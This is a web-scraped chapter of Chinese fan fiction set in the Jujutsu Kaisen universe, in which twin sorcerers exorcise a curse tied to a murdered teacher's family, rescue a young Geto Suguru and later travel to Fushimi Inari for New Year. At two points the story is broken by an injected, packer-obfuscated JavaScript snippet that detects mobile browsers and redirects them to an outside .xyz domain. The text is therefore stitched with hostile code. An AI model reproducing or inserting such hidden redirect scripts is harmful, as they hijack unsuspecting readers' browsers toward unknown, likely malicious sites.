“那个时候你一直在尖叫呢,都是你的声音太大才把大人们吸引过来的!” “讨厌啦,现在再玩我可不会害怕了......” 在这样的环境下,弥山想睡也睡不着。他把头转向星海的方向:“想好去哪个社团了吗?” 很明显星海还没有想好。 他那双眼睛实在不方便,脱离了咒力一切都是模糊而阴暗的。 “去打球的话你连球都接不到的吧......不然去田径部?只需要注意不要跑到别人的跑道里就好了。” 见星海还是没有反应,他又说道:“不然去烹饪部?这个好!怎么样?” “你去纯属是在浪费食材。” 弥山没有在意他的话:“我可以去试吃。就这个吧!” 他动作超快,像是怕星海反悔一样填完了入部申请,交到了班长的手里。 “欢迎你们哦!”班长就是烹饪部的副部长,此时微笑着在茂羡慕嫉妒的眼神中收下了他们的入部申请。 回到座位上,弥山冲着星海做鬼脸,嘲笑他是个胆小鬼。 星海罕见地没有“武力镇压”。不必多言,他们本就异体同心,超越寻常双子的联系让他们更加亲密无间。 这是你想要的,那么我会帮你实现它。 看啊,多简单的事。 上课、午休、参加社团、去超市购物或是去吃料理、完成作业、准时收看电视节目、洗漱、睡觉。 再睁开眼,新的一天循环般地继续。 这就是普通的生活? 这就是,“普通”。是可以被称之为日常的—— 幸福 “嘁。”弥山不爽地看着讲台。 佐佐木代明显消瘦了很多,他开始总是不停地揉着肩膀,讲话也变得有气无力。 “小佐你没事吧?脸色好难看。” “啊,没事,不用担心。”佐佐木代去盥洗室的时候才发现自己脸色差得出奇,几天没刮的胡渣让他看起来老了很多。这样不行啊,会吓到孩子们的。 他记得办公室里有刮胡刀来着。 “佐、佐佐木老师?你的下巴、没事吧?在流血......” “什么?” 佐佐木代摸了一下下巴,这才发现手上全都是血。去了保健室清理伤口的时候,听到保健老师说他的下巴上有六七道伤口,但佐佐木代却什么印象也没有,现在也没有任何痛感。 “要不要去医院看看?佐佐木老师?这样硬撑着只会逐渐恶化,你夫人和孩子还需要照顾呢吧?” 啊,对了。他今天怎么能来学校上班呢?明明妻子和太郎都还需要他照顾...... 保健室外,弥山靠着墙,星海透过玻璃望向教室内。 “本体不在他身上,”他仔细观察着,佐佐木代的身上有诅咒的痕迹,“只是被波及了。” “已经有实体了?” 拥有实体的诅咒就是咒灵了。想要解除能够远程诅咒他人的咒灵留在被咒者身上的诅咒,就只能祓除本体。 “大概率是咒灵。” 弥山看了他一眼,挠挠头,抬眼说:“干掉好了。” 省得佐佐木代整天驮着那么一大坨有碍观瞻的东西污染他们的眼睛。尤其是星海。 他们正准备离开,佐佐木代恰好从保健室里出来。被诅咒折磨的男人看着他的学生们,突然说:“弥山同学、星海同学......过来、来老师家怎么样?” “过来嘛。” 弥山挑眉。佐佐木代是猎食的“诱饵”,真正的咒灵恐怕就在他家里。已经超越了本能的猎食,开始逐渐向猎人进化,看起来至少是二级以上的咒灵。 如果有机会的话,弥山想看看咒灵身体的内部结构。通常咒灵在受到致命伤后会消散,虽说身体是由咒力构成,但大部分咒灵还保持着人类能够想象得到的外形结构,而且越具有知性的咒灵长得越像人类。 是什么驱使它们攻击人类呢?伤人食人的行为是出于饥饿吗? “好啊,老师。”弥山答应了下来。 —— 夏油杰又经过了那条小巷。这次里面空无一物。 前面的十字路口围了很多人,空隙间还能看到被警察拉起的黄黑色警戒线在人群中上下浮动。 事故?他背着书包低头向前走,这次没有同伴同行,因为他们相约去进行试胆大会,而今天恰好父母都会提前回家,夏油杰想要多一些时间和家人相处,所以拒绝了他们的邀请。 放学时间这条路上有很多学生,小学生到高中生,大家穿着各色校服结伴而行。 挤过人群和墙壁之间的缝隙,他继续向森下町的方向走。 似乎并不是普通的事故。 夏油杰听到了沉痛地哀嚎声,不光是警察,还有救护车和消防。有穿着白大褂的医护人员将什么东西装在了袋子里抬上了车,夏油杰身边的大人捂住孩子的眼睛快速离开了附近。 “......真是太惨了,听说大人和小孩子都......” “已经死了一整天了,那个男人早上居然还去了学校......” “诶?是水海道中学的老师?” “我看凶手就是他!” 是凶杀案?夏油杰打了个激灵。 有什么阴冷的气息拂过他的大脑,他不由自主地被吸引了注意力,等他发现自己与什么东西对上了视线的时候,想要躲开已经来不及了。 浑身皮肤苍白,黑色长发凌乱披散着的女人站在他的身边,向右直挺挺地弯下腰,夏油杰甚至听到了骨骼错位的声音。 “......过、过来嘛,过来,我的孩子......” 它贴得太近,夏油杰感受到的阴冷气息就来自它的嘴巴,他们之间的距离近到怪物一口就能咬掉他的头。 冷静、往前走!他不是第一次和怪物对上视线,但是大多数怪物不会有什么反应。像是课桌里的“史莱姆”,它长了至少十几只眼睛,就算对上视线,夏油杰也不知道该看它的哪只眼睛。 但是这个怪物不一样。它和他之前遇到的所有怪物都不一样! “阿姨,你的裙子上有红色的东西。” 稚嫩的声音从夏油杰身旁传来,他的余光看到了一个穿着幼稚园统一服装的孩子。 那个怪物瞬间转变了目标,它几乎将身体折叠到了一起,来到孩子的耳边说道:“过来、过来嘛......” 夏油杰迅速伸手去抓那个孩子:“不行!” 人群之后,一大一小两道身影忽然消失了。 “......你们确定在来到这里之前一直都和佐佐木先生待在一起吗?” “你已经问了两遍啦,我们从学校出来之后就一直在一起。” “你们今天最早是什么时候见到他的?” “第一节课快上课的时候吧。” 弥山和星海被警察们拦在警戒线里仔细盘问着。他们似乎将佐佐木代认成了凶手,并且觉得他有充足的作案时间。今天放学后,弥山和星海准备跟着佐佐木代一睹咒灵的真容,结果刚走到这个路口就发现警察们正在设立警戒线。 星海将回答问话的事情都交给了弥山,他看着周围的地面,试图找到咒灵离开时留下的残秽。这个家伙肯定有准一级的水平,只从外面看,佐佐木家的公寓里充满了它留下来的残秽。这种剂量的残秽只有使用咒术才能够产生,二级咒灵与准一级咒灵之间最直白的划分标准就是能否使用咒术。 他的视线顺着地面上的痕迹向远处延伸,停留在了人群之后。 “消失了......” 但是,那里并非“什么都没有”。 “谢谢你们的配合,请留一下地址,如果未来还有需要的话,我们会再登门拜访。” 虽然在和中学生对话,但这个警官却一板一眼地将他们当成了目击证人来对待,没有半分敷衍之意。这也导致弥山没办法糊弄过去,只能写下了他们的地址。 “他之后会怎么样?” “这个暂时不方便告知,多谢你们的配合。” 会被定罪吗?毕竟没有人会相信有咒灵存在,所有的证据都指向了这个男人。 弥山“嗯”了一声,听到了星海的小声嘟囔。 “什么消失了?” 他们从警戒线下穿越,走入人群。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137764|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咒灵留下的残秽非常显眼,弥山也看到了断在人群后的痕迹。 他搓了搓下巴,眼睛亮了起来,扯住星海:“这是个领域吧!?” 充盈着咒力的空间只有一个拳头大小,星海可以看见它的全貌。刚才被人群挡住的圆球形咒力集合体就浮在残秽消失的地方,如果这是个完全完成的领域......只能叫五条家的人来处理了。 领域内搭载的术式是必中的,他们并没有把握击溃这样一个领域。 “那不一定吧?”弥山提出了不同的看法:“它只有这么大点诶。” 他伸手靠近那个领域,被星海拉住了:“我还是第一次见!这可是真正的领域!” 只在书本和老师口中出现过的领域终于切实出现在了自己眼前,而且还是这么奇特的领域。领域内的面积比实际面积大这一说法,弥山一直觉得“实际面积”应该是真实的,比如说领域的“实际面积”能至少应该能将自己和对手装进去,它不可能只有一个篮球大小。现在亲眼见到这个领域,他才意识到自己犯了一个错误。 “果然,还是得亲眼见到才行啊。” 领域内的面积也可以是“真实的”,实际面积可以是“抽象的”。 夏油杰发现自己来到了一条小巷中。那是他第一次见到这个怪物的地方,眼前发生的一切都让他猝不及防,他不敢将目光移开,因为从他第一眼看到这里的时候就觉得浑身汗毛倒竖。 仿佛被什么非常危险的东西锁定了。 好消息是他抓住了那个孩子,他们还在一起。 怪物显露出了真容。那是一个面目慈爱的女性,她穿着医院的病号服,不过下裤上沾满了鲜血。 “过来,我的孩子......” 女人开口说道,夏油杰突然发现自己的身体开始不受控制地向前迈步。 恐惧、惊骇、不忿。 翻涌的负面情绪灌入喉咙、撑开胸腔,蔓延至指尖。流淌的咒力从指尖滑落,夏油杰已经走到了女人的身前,他大脑一片空白,却抬手一拳将女人打飞了出去。 前所未有的力量感萦绕在夏油杰的身体上,他作为咒术师的天赋终于开始缓缓绽放。 女人被激怒了。 这个慈爱的皮囊也不过是为了欺骗和诱哄而伪装出来的假象,它显露出了真身。枯骨般的身躯如小山一样膨胀着,关节反向屈伸,肚子的位置是一张褶皱的、还带着短短毛发的“口袋”,像是袋鼠的育儿袋一样耷拉着。 夏油杰发现刚才的反抗让自己脱离了怪物的控制,他立刻向后退,抱起已经被吓得嚎啕大哭的孩子:“不要哭了,我带你出去!” 他被挣扎的小孩子狠狠踢在肚子上,因为恐惧而不肯配合的孩子身体一直向下滑,这大大拖延了他们逃走的时间。 不过,夏油杰很快就发现他们无处可去。这个小巷没有出口,他们的身后是一堵灰色的墙。他一拳捶在墙面上,肾上腺素让他的大脑不再接收疼痛的讯号,包裹着指骨那一层的薄薄皮肤在捶打的动作中破溃流血,但他情急之下别无他法。 身后的阴影逐渐蔓延,吞噬了他照在墙上的影子。 “妈妈、爸爸......妈妈!!”怀里的孩子抽噎着喊道。 夏油杰将孩子的头摁到自己怀里,转身背靠着墙壁,不让孩子看到那个怪物。 他只有抬头才能完全将它的全身收入眼中。 后背和墙壁之间的压迫感让他的呼吸抽紧了一瞬。他突然意识到,如果再不想个办法他们就要死在这里了。这算什么?他的脑子里突然冒出父母见到他的尸体时的模样。会有人为他哭泣吗? 夏油杰腾出一只手。就像刚才那样挥动拳头,刚才不是狠狠把它揍飞了吗?就像刚才那样继续反抗!怪物缩短着他们之间的距离,每靠近一步,夏油杰拳头上包裹的咒力就越浓郁。 怪物的头颅正在向他靠近,它超越了夏油杰能够控制住自己不反击的极限距离,裹挟着咒力的青涩一击挥了出去。 咚! 夏油杰觉得自己的拳头击中了一颗真正的头骨,发出脆响。他的刘海被从身后吹来的风掀了起来,飘在眼前。小巷里的昏暗被泛着橙色的暖光驱散了不少,下一刻却又向潮水一样涌了回来。 身后?他抱着孩子向后退了一小步,没有撞上预料之中的冷硬墙壁,而是跌入了一个属于“活人”的怀抱。 “小孩?” 夏油杰视野被遮住了一瞬,等他将头抬起,看到了曾在街上见过的上衣。这是......水海道中的校服? 突然出现的人动作强硬地将他从怀里撕了出去,推着肩膀将他塞到了另一个人手上。 完全失去了人形的咒灵还在说着蛊惑人心的话:“过来......过来啊!!!” 弥山微微眯眼,感受到它正在试图抢走他身体的支配权,恐怕这就是它的咒术,也是凭借这个能力操纵佐佐木代的吧? 他松开了早已抓在手中的“现在”,锚沉入海底,咒灵的术式效果霎那间消失得无影无踪。 “只是个半完成的领域,我猜对了,”他微微摆头对星海说,“只有壳子,看起来还没有学会搭载术式。是为了隐藏自己的行踪而提前挖掘出了领域的天赋,如果有必中效果的话......” 夏油杰感受到自己的肩膀被人牢牢摁着,肩膀上传来的力道让他从诸多负面情绪中抽离,慢慢地感受到了身体的异常。手臂因为脱力在微微颤抖,他刚才一直无意识地绷紧着肌肉。 “少说两句,”夏油杰身后的人说道,“赶紧走。” 戴着眼罩的少年似乎有些失望:“我知道啦。” 弥山冲发出威吓似的低吼的咒灵抬了抬下巴:“想试试进化的感觉吗?就用你的生命来支付代价吧。” 咒灵的吼声在下一瞬间穿透了所有人的鼓膜,它嘶声尖叫着:“过来!!!!!” 夏油杰的脑海中瞬间出现了“听从它”、“臣服它”的感觉,灵魂仿佛被赶出了自己的身体,居然又开始下意识地迈步向前。 只不过一直放在肩膀上的双手将他拦在了原地,挡在他们身前的少年抱臂站定,似乎胜券在握。 下一秒,他们已经回到了现实世界。 “......诶?”夏油杰眨着眼睛,周身包围着的是暖红色的夕阳,他们所在的地方正是夏油杰第一次见到这个怪物的小巷。 身后的人松开了他,说道:“转移了?” 弥山用脚辗开咒灵化成的灰烬,看着这点最后的碎屑也被风扫走,才回答了星海的问题:“领域的主人是能够移动领域位置的,不过它可能只是本能吧。” 没有人注意到突然出现在小巷里的人。 一般咒灵的潜力上限在诞生的那一刻就已经彻底定型了,不过弥山对此持保留意见。这个咒灵的潜力远不止准一级,不论是这个未完成的领域还是对领域的移动,都意味着如果它能够拥有足够的时间,可能会进化成特级也说不定。 弥山拍拍手:“不过它没有这个机会啦!” 34.特别 弥山将夏油杰从星海的身前扯开:“这小孩......和抱着的这个小小孩又是什么情况?” “你们是怪物杀手吗?”夏油杰将怀里的孩子放了下来,他的手臂实在支撑不住了。 找到同类的喜悦冲散了刚才在鬼门关走了一遭的恐惧,他有些迫不及待地问道。 “怪物杀手?”弥山和星海对视一眼,他似乎是被逗笑了:“哦~是个野生的啊。” “什么?”夏油杰不解。 弥山和星海没有向他解释的意思,星海俯身拎起哭得没了力气的孩子向小巷外走去。弥山跟在他身后:“晚上我要吃咖喱鸡肉!牛肉也行!” 星海没有理会他的叫喊,走出巷口后将孩子随意交给了一个路人,说他们发现了这个走丢的孩子,麻烦他帮忙找一下警察。 莫名其妙被塞了一个孩子的路人:“......?” “刚才的那个,还有街上、垃圾桶和学校里的那些都是什么东西?你们也能看见吧?你们还杀了它们,还有其他和我们一样的人吗?” 夏油杰第一次遇到了和自己“一样”的人。从此刻往前推,似乎在他能够记事起就能看见那些东西了,那之后的人生里他虽然和周围的所有人一样生活在这个世界,却又隐隐觉得自己正在被排斥着。 难道自己是特别的吗?不是褒义的特别,而是孤独的特别。 与这对兄弟的相遇对夏油杰来说,宛如重新认识了这个世界。宛如新生。 “太夸张了吧?你是刚破壳的小鸡崽吗?”弥山手欠欠的,拨弄了一下夏油杰的刘海。 夏油杰不依不饶:“它们叫咒灵?为什么只有我们能看见?你是怎么杀死它的?” 弥山被问得直堵耳朵,星海嘲笑他:“学堂里的那些老师见到你就是这副德行。” “会有老师教你们杀咒灵?我能去学吗?” 弥山做出驱赶的手势,但夏油杰不肯轻易放弃。对于刚刚一脚踏入咒术界的他来说,这对兄弟可不就是“鸡妈妈”一样的存在吗?他们打小就生活在拥有咒术的世界,所以没办法对抓住稻草一般的夏油杰感同身受。 “又不是什么好事,别上赶着过来找死啦。”弥山随意地说道。 夏油杰握了一下拳头,回想起打在咒灵身上的两拳。 “听好,”星海说,他的话引来了弥山不满的瞪视,“咒术不是什么能够给人带来幸福的东西。” 黑发的孩子怔愣了一下,不知道如何作答。 星海无视了弥山“咒术明明很有意思”的狂言,沉声拒绝:“既然拥有能够看到咒灵的眼睛,就将它当成不祥之物敬畏吧。不要与咒灵对视,不要靠近它们。这样才能活得久一些。” 夏油杰张了张嘴,看了一眼弥山。弥山没有反驳星海,也没有赞同他的话。 星海的意思,夏油杰听懂了。假装自己看不见那些怪物,他过去的几年都是这么过来的。不要靠近它们,不要......试图救下被它们伤害的人。 他果然是特别的。不是因为他拥有异于常人的力量,而是背负着“不祥”? 弥山抬腿踢了星海一脚,兀自叫喊道:“好过分!!” 星海在他腰间回了一拳:“走路安分点!” 夏油杰还跟在他们身后。他突然问道:“那你们为什么要来救我呢?” 前方就是跨越八间渠的桥梁,桥本町就在桥对面。 他们可以轻易杀死那只咒灵,而他在濒临死亡时激发的力量也只够打出毫无用处的两拳。 弥山迅速举手抢答:“因为我喜欢胆大鬼!!” 夏油杰:“哈?” 他特意扑到星海的耳边笑嘻嘻地补充:“就是讨厌胆小鬼的意思啦!!” 星海迅速一个肘击,抓着他的脑袋压低声音:“混蛋弥山你找死吗!?” 他们打闹着过了桥,夏油杰不知道他们之间的关系到底是亲密还是不好,因为他们看起来是真的下了狠手,弥山的嘴角已经明显肿起来了,颇有一种一点就炸的趋势。 都怪他刚才问了那个问题!但是他真的非常迷茫。 “啊、你还跟着我们呐。你家也在这边吗?” 夏油杰摇摇头:“我家在森下町。” “那不是相反的方向嘛......走吧,回家吧。” 黑发孩子拽紧书包带。他一整天的确都在期待着放学,因为今天能够见到提前下班的父母。留下做值日让他已经成为最晚离校的一波人,原本迫切的心情经历了这么一遭已经找不到了。 比起回家,他现在更想知道更多关于咒术的事情。 “可以再多和我讲讲咒术的事吗?我可以说我去和同学们玩试胆大会了,稍微晚回去也没关系的。” 弥山眼珠子转了转,拇指蹭过嘴角的破口,揽着夏油杰走到了星海的身后,悄悄凑到他耳边说:“这位夏油小同学,你现在多大?” 夏油杰:“今年上三年级......怎么了吗?” 弥山伸出手指比了个“五”:“一般来说,有咒术天赋的小孩五岁就会觉醒术式,如果到了你这个年纪还没有术式的话,还是趁早想想怎么装作看不见咒灵比较好哦。可以买一副眼镜或者墨镜,这样就不容易对上视线了。” “术式?” 弥山甩着手指:“就是超能力啦~觉醒了术式的话自己一定能知道。” 夏油杰沉默了。 生得术式是刻印在大脑里的存在,像是本能一样,一经觉醒就如同刻进了DNA,连同术式最基础的使用方法会自然而然地“学会”,之后的修行就是学习如何省略咒词、手印和咏唱,以及开发术式更多的使用方法。 所以身负术式却不能使用,只能说明大脑是非术师的结构,没有咒术天赋。这样的人恐怕连咒力都很难使用,作为普通人过一辈子也挺好。 夏油杰看了一眼自己的手,疑惑地说:“叫我吃掉咒灵......是正经的超能力吗?” 空气可疑地变得凝固,连快步走在前面的星海都停下了脚步。夏油杰看见他转过身,用那双奇特的眼睛盯着自己。 弥山直接蹲在了他身前,摆出一副思考的模样。 “你用一下术式试试。”星海提出要求,他向前走了两步,站在弥山的身后。 夏油杰尝试了一下,不过还是很难理解术式的使用方法。就像憋着气一样,除了觉得有些臌胀的胸腔,没有任何其他感觉。他有些难堪地回望向站在身前的两个人。 弥山仰头看了一眼星海,然后握住了夏油杰的手臂。 夏油杰对上了他的黑眼睛,发现他眼睛的颜色也很特别。一般人的眼睛只是在特定的室内才会显出近似黑色的颜色,但其实大多数人的虹膜只是深棕色的,在太阳和灯光下看的话就是明亮的金棕。 但是弥山的眼睛是纯净的黑。他现在正面夕阳,那些橙红色的阳光照入他的眼瞳,黑色就像是一潭深池水,将所有的颜色吸得干干净净。 “放松哦,来看看你的术式吧!”弥山说了这么一句,然后夏油杰就感受到了“咒力”。是弥山的咒力从握住的手臂传到了他的身体上,随后他感觉到了浑身升腾的力量感。就像是自己的体内、体表流淌着水流一样的东西。 “那是你的咒力,”弥山的另一只手点了点他的肚子,然后顺着胸口、肩膀、手臂的顺序游走,“它们这样流过你的身体。” 夏油杰感受到了,随着弥山手指流动的咒力不受控制似的不断从肚脐附近产生,涌入既定的轨道。 “可以了。”星海说,弥山在他话音刚落就松开了手。 “怎么样?” 星海表情有些奇怪,眼睛里似乎多了一点同情:“就是你想的那个。” 夏油杰抬头,咒力流动的顺畅感在弥山离开他之后就消失了,他懵懂地问道:“是什么?” 弥山说:“是【咒灵操术】。” 星海抱起手臂:“原来那天在八幡神社的小孩是你?那间神社你最好不要再去了。” “为什么?” “那里有‘不可以被打开’的东西,”弥山站起身,“如果你不能忍住好奇心的话,下场会比今天死去的那两个人更惨哦。” 他说的是佐佐木代的妻子和孩子。 夏油杰下意识地吞咽了一下,但是他突然想起了什么,有些慌张地说:“但是,我的同学们约好今晚要去那间神社附近玩试胆大会......” 已经在盘算待会儿去便利店买打折鸡肉的弥山说道:“他们又用不了咒力,解不开封印的。” 虽然要是宿傩的手指被拿走的话,八幡神社和八间渠的诅咒就会压制不住了。但是,应该不会有小孩拿走那种东西吧?一看就很奇怪的东西——坏了,好像小孩最喜欢这种奇奇怪怪的东西了!! 弥山不爽地龇牙咧嘴,他不想浪费看电视的时间去草地里喂蚊子!总不会这么倒霉,那群孩子真的动了封印吧? 这样的话会很麻烦啊。他偷偷看了一眼星海的表情,虽然面上不显,但弥山知道他正在想事情。总之不会是弥山喜欢的事情,他叹了一口气。 “为什么想要安安稳稳地生活这么难啊......” 明明只有十二岁的少年却口气老成到仿佛已经是步入社会的打工人。 “毕竟是宿傩的手指。”星海最终只说了这么一句,弥山知道这事他们必须要管一下了。 “虽然没期待过离开族里就能完全脱离咒术界,但是这也太频繁了一点吧。”弥山吐槽道。社会压力已经大到这种程度了吗?简直满世界都是咒灵了啊! “我也要去!”夏油杰表明了自己想要跟随的强烈希望,并没有遭到拒绝。 也许这两个人比看起来的要更好说话一些?夏油杰彼时将这种态度当成了纵容。 他们在便利店解决了晚饭,弥山抱怨了两句离他远去的咖喱鸡肉,然后他们就向八幡神社的那边前进。 夏油杰用便利店的电话和家里人沟通着。不知道他是怎么说服父母的,总之他拥有了自由行动的时间。 八幡神社在森下町,他们靠着西边的八间渠从南向北走,途中会先经过一个井水神神社。 “这个神社里面也有你们说的那个东西吗?” 星海抬头看了一眼:“不,这里只是一间最普通的神社。” 不知道这间神社究竟归属于哪户,总之白天这里会有人看守,做些洒扫的工作。干干净净的,连一点形成诅咒的迹象都没有。 他们路过井水神神社,继续向北走。因为走的是土路,天已经完全黑了下来,夏油杰走得跌跌撞撞,反观前面那两个人如履平地。星海已经习惯看不清脚下的时间,在这样的黑夜中,他的双眼能够更清晰地观察咒力。 城镇的灯光像一座孤岛漂浮在他们的右侧。初秋的草地中还带着酷夏未退的燥热,各种虫鸣交织在一起,叫得响亮。 弥山放慢脚步来到夏油杰身边,压低声音说:“我们傍晚才从这里经过。仔细看,周围留下的是残秽。” 夏油杰睁大眼睛,他看见了灰绿色的草叶,看到了根部一闪而过的虫影,然后他逐渐看见了星星点点的、像是水滴洒落在土地和石头上的咒力。 那是在行走间不受控制流出的咒力的残余,它们粘在了皮肤触碰过的草叶上,滴落在脚边的土石上。 等到他们再长大一些,对咒力的操纵更加熟练,就可以控制着除了使用术式之外的时候不留下残秽。 明明耳边还有嘈杂的虫鸣,可夏油杰的内心却久违地体会到了安宁。 他们待在八幡神社外观察着,正如夏油杰所说,有八个孩子正围绕着神社行动,似乎有两人扮作鬼,其余人两两作伴,从正门进入,绕着神社行走一圈就算完成试炼。 神社周围栽种着高大的杉树,附着着尘土的注连绳耷拉了下来,虚虚地挂在自然生长很长时间的枝干上,勉强还能看出原本被注连绳围出的神社外围边界。 今晚没有月亮,孩子们压抑着的活动声隐隐约约地传了过来。 “他们似乎没有靠近拜殿。”夏油杰说。 那个放着宿傩手指的神龛就在拜殿门口垂下来的、连接着铃铛的铃绪之后。 夏油杰扯扯弥山的衣角,在他弯下腰来之后问道:“那里有很明显的残秽,那是什么?” 弥山从附近找了块石头搬过来坐着:“那是两面宿傩的手指,是特级咒物。因为长时间放在那里,所以留下了很明显的残秽。” 他陪着夏油杰有一搭没一搭地进行着问答游戏,但是既不主动解释别的问题,也不打断夏油杰的提问。这种若即若离的态度让夏油杰觉得,不像是自己去找他解惑,而是他需要找个人陪他聊天。 不,是聊这些问题。关于咒术的一切,哪怕只是谈起最简单的概念都能让他......很开心? 孩子们的声音大了起来,他们聚在门口,大声喊着让当鬼吓人的两个孩子可以出来汇合了。夏油杰的心提了起来。一般鬼故事总爱在这个时候发生转折,比如那两个当鬼的孩子没有及时出现,其他人分头去找,结果一个、一个消失...... 他担心的事情什么都没发生。八个孩子汇合,然后急急忙忙地离开了。他们已经在这里耽搁了很久,如果再不回家,等待他们的就是家里人严厉的责备。 弥山伸了个懒腰,活动活动有些僵硬的手脚。 “既然无事发生,那我们就各回各家吧,”他的作业还没有写完,这样下去肯定会错过晚间节目,“啊,今天又看不成了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142331|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星海问:“一个人能回吗?” 黑发的孩子有点不好意思。再怎么说,让他独自走入黑暗的话还是有些难以控制的恐惧慢慢生成,像是水面冒出的一个个绵密的气泡,催促着他望向另外两个人。 “走吧。”星海扯着弥山的领子将他转了个方向,和夏油杰走上了同一条小路。 孩子露出一个小小的笑容,比同龄人狭长一些的眼型让他笑起来像一只小狐狸。 夏油杰没有从他们口中套出地址,也就是说他下次想要找到他们只能全凭运气。佐佐木代的事情很快就在学校里掀起了惊涛骇浪,看起来温柔亲切的国文老师突然变成了杀妻弑子的杀人犯,一时间校园里的每个角落都能听到有人在讨论这件事。 对于他曾经担任过班主任的一年级3班的同学们来说,这种讨论成了难以忍受的声音。 “佐佐木老师很好!他不可能杀人!一定是警察搞错了!” 他的确很受学生们的欢迎,但是弥山和星海的证词被采纳了,警察们在那之后还曾上门来询问过其他的事情,临走时提到佐佐木代似乎精神出现了一些问题,到时候可能还需要他们出庭作证。 他们似乎被当成了潜在的受害者,佐佐木代当晚正是想要将他们诱骗到家中再进行杀害。 最近每晚都能从新闻频道听到佐佐木代的化名。 弥山毫无波澜地将频道调到了富士电视台准备收看月九黄金档,整个人缩在沙发上。星海关了客厅的灯,把自己塞进弥山和沙发侧扶手之间。 新换的国文老师是个上了年纪的老教师,讲起课来一板一眼,花了一些功夫才和班级里的孩子们达成了和解。生活似乎恢复了普通的日常,星海很满意这样的每一天。没有咒灵,没有咒术,过着他想过的、“普通孩子”的生活。 12月中旬,他们放了冬假,即将迎来他们离开五条家后的第一个新年。 “啊,”弥山指着日历,毫无悔意地说,“悟的生日已经过去两周了!” 星海已经围好了围巾,站在门口催他:“快点走了!” 他们要赶快去附近的超市买一些冻货和装饰公寓的材料,因为即将到来的这个跨年夜比较特殊,全国人的跨年热情空前高涨。 即将到来的平成12年,也就是2000年是千禧年,象征着新世纪的开始。 楼下的邻居好心提醒他们最近制作御节料理的材料和门松之类的都是紧俏货,再不提前准备就买不到了。 弥山拿上布袋子,跟着星海出门购物。 “要去神社跨年吗?明治神宫、伏见稻荷大社都不错。”弥山把脸缩在围巾后面,耳朵尖冻得通红。 “你不是想看红白吗。” 前几天下了雪,现在还没化,被扫到了路边。弥山贴着墙根走,咯吱咯吱地踩着纯白的积雪,留下一串脚印。 “我觉得去神社也不错。”他闷声说着。 “那就去神社。” 弥山小小地欢呼了一下。 他们低估了这个跨年夜对国民的意义,现在大概还有一周的时间才到新年,可超市里制作御节料理的原材料和预制好的御节料理便当居然都已经被抢购一空。虽说每天早上都有补货,但基本上中午之前就会销售一空。 “提前这么久买,到时候都不新鲜了!”弥山有些恼火地说,不肯承认他们终究是低估了这片社区居民们对新年的热情。 他们在超市里转了几圈,最后星海决定找一些平替。庆祝菜肴就选他们两个最常吃的,炸物与海鲜就做天妇罗和鲷鱼,好在还有剩余的制作昆布卷的材料出现在货架上,他们两个在旁边人的注视下将它们一扫而空。 带着能够装下三层御节料理的重箱和一大堆东西,他们原路返回。 “所以,”弥山举着冰激凌勺子,在星海经过时挖了一勺冰激凌递到他嘴边,“咱们去明治神宫还是京都?反正人都很多。” “去京都吧,总感觉在东京会碰到熟人。”星海难得有这样的预感,弥山也不想碰到扫兴的家伙,所以他们决定去京都的伏见稻荷大社。 其实在新年这天,只要是个神社都可以去初诣,流程基本都差不多,人还少。但是,第一次总是应该特别一点。 弥山坐在玄关的地板上摇晃着身子,催促道:“快一点!走啦!” 星海再三确认该关上的门窗和水龙头都被关好了,御节料理已经做好塞到了拆掉了两层隔板的冰箱里,带上现金和提前买好的车票踢了下堵在门口的家伙,示意他可以出门了。 他们需要先坐巴士到取手,再乘JR常磐线去东京。接下来就是将近三个小时的新干线到京都,换JR奈良线到伏见稻荷大社。他们晚上在家吃了荞麦面才出发,五个小时的路程并不算短,但一路上到处都是新年的氛围,上下车的乘客脸上都带着难以掩饰的喜悦之情,冲淡了重复换乘的疲惫和无聊。 涩谷、新宿这样的地方全都挤满了人,有警察负责管制人流和交通,但也很难完全控制住逐渐燥热起来的氛围。 稻荷站外同样人山人海,彻夜排队的人只等午夜一过,大社开放初诣,去进行新年的第一次参拜。 大道两旁还有不少小摊,出售一些非大社官方售卖的绘马、纸狐狸平安符之类的小玩意,还有冒着热气的关东煮和小型便当。 “人好多......”弥山扯了扯围巾,为了不被人流冲散他抓住了星海的手臂,结果一抬眼就撞上了一堵“墙”。 双手塞满食物的“墙壁”将遮挡视线的东西移开,扯动嘴角的疤,发出一声目中无人的质疑:“啊?” “啊!” 星海顺着声音抬头,听到弥山诧异地说:“你不是那个禅院家的天与咒缚嘛!” 禅院甚尔看着这个眼熟的小鬼,从记忆里扒拉出来他离开那个垃圾场之前的短暂相遇:“......你是那个五条家的小鬼。” “非要在这个时候聊那些扫兴的事吗......你这是在干什么?”弥山看着他手上的那些小吃,明显不是买给他自己的。 “嗯?啊,你说这个啊,”禅院甚尔突然玩味地笑了起来,那种看小孩的眼神让弥山觉得他好像在想什么非常冒犯的事,下意识地绷紧了脊背,“这个是‘工作’啊。” 他在弥山疑惑的目光中和他们错身而过,远处的人群中有一个穿着漂亮和服的女人招手叫着他的名字。 “还有,我现在脱离禅院家了,看来我比你们更快啊。”禅院甚尔凭借强健的身体逆着人流,生生挤开了一条通道。带着调侃语气的话逐渐淹没在人群中,星海和弥山开始被人潮推向相反的方向。 他们与禅院甚尔不过是偶遇,他们之间也没有什么旧事需要继续交谈,因此也就顺着人群继续向前,缓慢地靠近朱红楼门。 